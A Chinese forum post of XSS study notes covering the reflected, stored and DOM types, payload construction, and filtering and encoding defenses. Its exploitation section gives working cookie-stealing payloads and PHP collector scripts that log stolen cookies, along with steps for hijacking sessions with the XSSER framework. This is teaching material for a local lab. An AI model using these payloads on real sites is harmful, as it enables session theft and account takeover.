用户
搜索

[web安全] XSS漏洞学习整理

  • TA的每日心情
    开心
    昨天 07:36
  • 签到天数: 101 天

    连续签到: 101 天

    [LV.6]常住居民II

    i春秋-见习白帽

    Rank: 3Rank: 3

    44

    主题

    91

    帖子

    2578

    魔法币
    收听
    0
    粉丝
    4
    注册时间
    2020-10-2
    发表于 2021-5-18 21:58:15 12858
    本帖最后由 Johnson666 于 2021-5-18 22:34 编辑

    说在前面
    前端代码介绍
    HTML: 相当于一个文档,里面是要给用户的信息。使用他提供的一些标签,来把你想传递给用户的信息进行合理编排,使信息更好的传递给用户。
    CSS: 相当于把这个文档进行修饰,美化实现更好的交互性,是用户接收信息更加舒服,自然,修饰最好的是接近简洁,自然。
    JAVASCRIPT: 相当于更好的实现和用户的交互,是信息传递实现双向化。
    1.png


    Javascript讲解

    JavaScript简介
    JavaScript是一种客户端脚本语言,是一种动态类型、弱类型、基于原型的语言,内置支持类型。它的解释器被称为JavaScript引擎,为浏览器的一部分,广泛用于客户端的脚本语言,最早是在HTML(标准通用标记语言下的一个应用)网页上使用,用来给HTML网页增加动态功能。
    2.png

    JavaScript基础语法
    Script 标签
    JavaScript 在 html 页面的位置如在<script>标签中
    注:在javascript中,document.write()方法;常用来网页向文档中输出内容。
    eg:
    [AppleScript] 纯文本查看 复制代码
    <script>document.write(“Hello World!”)</script>

    3.png

    alert方法:用于弹出一个对话框
    eg:
    [AppleScript] 纯文本查看 复制代码
    <script>alert(666)</script>

    4.png

    window.location.href 用来跳转界面
    eg:跳转到百度界面:
    [AppleScript] 纯文本查看 复制代码
    <script>window.location.href='http://www.baidu.com'</script>

    5.png

    Javascript 可以读取客户端的cookie
    使用方法 document   如  document.cookie
    eg:
    [AppleScript] 纯文本查看 复制代码
    <script>alert(document.cookie)</script>

    QQ图片20210518215158.png



    XSS注入漏洞的基本原理


    XSS的简单介绍
    跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS) 混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
    主要原因:过于信任客户端提交的数据
    解决办法:不信任任何客户端提交的数据,只要是客户端提交的数据就应该先进行相应的过滤处理然后方可进行下一步的操作。


    XSS的危害:
    1.流量劫持
    2.获取用户cookie信息,盗取账号
    3.篡改、删除页面信息(钓鱼)
    4.配合CSRF攻击,实施进一步的攻击

    XSS的分类:
    通常将跨站脚本攻击分为三种类型:反射性XSS,存储型XSS,DOM型XSS。
    6.png


    7.png

    1.反射型XSS
    反射型XSS也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞,这个过程就像一次反射,所以叫反射型XSS。
    8.png

    9.png

    10.png

    反射型XSS常见位置
    反射型跨站常见的出现位置:用户登录、搜索框、订单提交等位置经常会引用客户可控输入,如果没有进行很好的处理很容易出现反射型跨站漏洞,URL本身常见的跨站注入点。
    11.png

    12.png

    13.png

    反射型XSS原理
    源代码:
    [AppleScript] 纯文本查看 复制代码
    <?php 
    
    header ("X-XSS-Protection: 0"); 
    
    // Is there any input? 
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
        // Feedback for end user 
        echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 
    } 
    
    ?> 


    14.png

    15.png

    16.png

    QQ图片20210518215402.png

    17.png

    2.存储型XSS

    存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。

    1、攻击者在留言板中提交一段XSS代码,服务端接收后并进行存储;

    18.png

    2、当管理员查看留言板时便触发了XSS代码,形成XSS跨站攻击;
    19.png

    存储型跨站常见位置
    存储型跨站常见的出现位置:用户留言、评论、用户昵称、用户信息等凡是可以提交数据由服务器进行存储和显示的位置都有可能出现存储型跨站。
    20.png

    21.png

    22.png


    存储型XSS原理
    代码:
    23.png

    24.png

    25.png

    26.png
    3.DOM型XSS

    DOM-XSS攻击原理与防御:https://www.cnblogs.com/mysticbinary/p/12542695.html

    DOM型xss深度剖析:https://blog.csdn.net/weixin_50464560/article/details/117002180

    ​DOM的全称为Document Object Model,即文档对象模型,DOM通常用于代表在HTML、XHTML和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容、结构和样式。

    通过js可以重构整个HTML页面,而要重构页面或者页面中的某个对象,js就需要知道HTML文档中所有元素的“位置”。而DOM为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构。根据DOM规定,HTML文档中的每个成分都是一个节点。

    ​DOM的规定如下:

    - 整个文档是一个文档节点;

    - 每个HTML标签是一个元素节点;

    - 包含在HTML元素中的文本是文本节点;

    - 每一个HTML属性是一个属性节点;

    - 节点与节点之间都有等级关系。

      HTML的标签都是一个个的节点,而这些节点组成了DOM的整体结构:节点树。如图所示:
    QQ图片20210518221211.png
    简单来说,DOM为一个一个访问html的标准编程接口。

    可以发现DOM本身就代表文档的意思,而基于DOM型的XSS是不需要与服务器端交互的,它只发生在客户端处理数据阶段,是基于javascript的。而上面两种XSS都需要服务端的反馈来构造xss。

    DOM型XSS示例:
    [AppleScript] 纯文本查看 复制代码
    <script>
        var temp = document.URL;  //获取URL
    var index = document.URL.indexOf("content=")+4;
    var par = temp.substring(index);
    document.write(decodeURI(par));  //输入获取内容
    </script>


    上述代码的意思是获取URL中content参数的值,并且输出,如果输入

    [AppleScript] 纯文本查看 复制代码
    网址?content=<script>alert(/xss/)</script>
    ,就会产生XSS漏洞

    这里再举一例:

    这个文件名为123.html

    [AppleScript] 纯文本查看 复制代码
    <script>
    document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
    </script>


    在这里我先解释下上面的意思

    Document.write是把里面的内容写到页面里。

    document.URL是获取URL地址。

    substring 从某处到某处,把之间的内容获取。

    document.URL.indexOf("a=")+2是在当前URL里从开头检索a=字符,然后加2(因为a=是两个字符,我们需要把他略去),同时他也是substring的开始值

    document.URL.length是获取当前URL的长度,同时也是substring的结束值。

    合起来的意思就是:在URL获取a=后面的值,然后把a=后面的值给显示出来。
    QQ图片20210518221357.png

    怎么会出现这个问题呢?

    因为当前url并没有`a=`的字符,而`indexOf`的特性是,当获取的值里,如果没有找到自己要检索的值的话,返回-1。找到了则返回0。那么`document.URL.indexOf("a=")`则为-1,再加上2,得1。然后一直到URL最后。这样一来,就把file的f字符给略去了,所以才会出现`ttp://127.0.0.1/123.html`

    大致的原理都会了,我们继续下面的

    我们可以在123.html后面加上?a=123或者#a=123,只要不影响前面的路径,而且保证a=出现在URL就可以了。
    QQ图片20210518221433.png

    我们清楚的看到我们输入的字符被显示出来了。

    那我们输入
    [AppleScript] 纯文本查看 复制代码
    <script>alert(1)</script>
    会怎么样呢?

    答案肯定是弹窗(这个用的是360安全浏览器)
    QQ图片20210518221456.png

    但是这下面没却没有弹窗,这是为什么呢?这是因为浏览器不同,maxthon、firefox、chrome则不行,他们会在你提交数据之前,对url进行编码。这不是说DOM型XSS不行了,这只是个很简单的例子,所以不用在意。
    QQ图片20210518221518.png

    我再次强调下,DOM型XSS 是基于javascript基础上,而且不与服务端进行交互,他的code对你是可见的,而基于服务端的反射型、存储型则是不可见的。


    利用原理
    客户端JS可以访问浏览器的DOM文本对象模型是利用的前提,当确认客户端代码中有DOM型XSS漏洞时,并且能诱使(钓鱼)一名用户访问自己构造的URL,就说明可以在受害者的客户端注入恶意脚本。利用步骤和反射型很类似,但是唯一的区别就是,构造的URL参数不用发送到服务器端,可以达到绕过WAF、躲避服务端的检测效果。


    过程
    输入测试代码'"<>,显示的内容和我们所输入的有所不同
    QQ图片20210518221913.png

    那就来看看源码吧
    QQ图片20210518221915.png

    HTML的DOM中,`getElementById() `方法可返回对拥有指定 ID 的第一个对象的引用。语法为:`document.getElementById(id)`。在这里就是获取标签id为`text`的值传递给`str`,`str`通过字符串拼接到a标签中。所以我们要闭合前面的<a>标签输入payload:
    [AppleScript] 纯文本查看 复制代码
     '><img src=a>
    成功闭合,鼠标移动到图片的位置触发弹窗

    QQ图片20210518221918.png

    XSS注入漏洞的利用

    XSS注入思路
    27.png

    构造攻击代码思路:
    1、判断位置
    2、闭合符号或标签
    3、放入基本的payload

    Payload构造实例—闭合标签

    在具体的实战中,通过闭合标签,使输入的基本语句得以实现。
    28.png

    Payload构造实例—闭合单/双引号
    在具体的实战中,通过闭合单/双引号,使输入的基本语句得以实现。
    29.png

    常见攻击手段—钓鱼攻击
    XSS构造URL脚本实现钓鱼攻击
    [AppleScript] 纯文本查看 复制代码
    <script>document.location=http://baidu.com</script>

    30.png

    常见攻击手段—会话劫持
    31.png

    利用存储型XSS实现手工盗取cookie
    方法一:
    Javascript脚本
    [AppleScript] 纯文本查看 复制代码
    <script>document.location='http://127.0.0.1/getCookie.php?cookie='+document.cookie;</script>


    PHP脚本
    [AppleScript] 纯文本查看 复制代码
    <?php
    $cookie = $_GET['cookie'];
    $log = fopen("cookie.txt", "w");
    fwrite($log, $cookie ."\n");
    fclose($log);
    echo "攻击成功";
    ?>


    1、本地使用DVWA作为实验环境,通过修改源码突破字符长度限制:

    32.png

    2、输入javascript脚本语句:

    33.png

    3、页面发生跳转,后台cookie文件获取到用户的cookie值:

    34.png
    35.png

    36.png

    方法二(AJAX):

    Javascript脚本
    [AppleScript] 纯文本查看 复制代码
    <script>
    var url='http://127.0.0.1/cookie1.php';
    var data='cookie='+document.cookie;
    var nxhr= new XMLHttpRequest();
    nxhr.open('POST',url);
    nxhr.setRequestHeader('content-type','application/x-www-form-urlencoded');
    nxhr.send(data);
    </script>

    PHP脚本
    [AppleScript] 纯文本查看 复制代码
    <?php
    date_default_timezone_set("Asia/shanghai");
    $cookie = $_POST['cookie'];
    $time = date("Y-m-d H:i");
    echo $time;
    $refer = $_SERVER['HTTP_REFERER'];
    $content = $time."::"."$refer"."::".$cookie."\r\n";
    file_put_contents("cookie.txt", $content, FILE_APPEND);
    ?>


    XSSER的基本使用


    XSSER的介绍
    XSSER是XSS漏洞利用的框架,通过使用XSSER的payload盗取用户的Cookie,并可以配置是否keepsession,保持会话,也可用来做认证钓鱼等XSS攻击,还可以自行创建XSS攻击模板,进行快速的利用。
    37.png

    38.png

    XSSER的使用步骤

    1.登录XSSER后台,创建一个项目,填写项目信息

    2.配置要使用的XSS漏洞利用模块,生成漏洞利用代码

    3.拷贝生成的代码,将代码植入到存在漏洞的站点上

    4.当受害者浏览漏洞页面便触发了漏洞利用的代码,受害者的Cookie被发送到XSSER框架的站点上

    5.攻击者浏览项目,便可获得受害者的会话信息。

    (最后可使用类似cookie manager的插件添加cookie信息登录到受害者的账号)
    39.png

    XSS的防范
    XSS的威力主要是取决于JavaScript能够实现的程度,XSS跨站脚本的形成原因是对输入输出没有严格过滤,导致在页面上可以执行JavaScript等客户端代码,所以只要将敏感字符过滤,就可以修复XSS跨站漏洞。
    修复和防范方法:
    三种类型的XSS漏洞都可以通过过滤或编码进行修复。
    反射型XSS和存储型XSS可以在服务端对用户输入输出的内容过滤和编码操作,将关键字进行过滤处理,关键符号进行编码处理,如将所有on事件,script等关键字进行过滤,将所有<,>,”,’,=等特殊符号进行实体化编码或百分号编码便可以修复。
    DOM型XSS如有在服务端进行交互,也可参考上述的方法进行修复,如未和服务端进行交互,可在客户端使用JavaScript等客户端脚本语言进行编码和过滤处理。
























                              顶顶
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册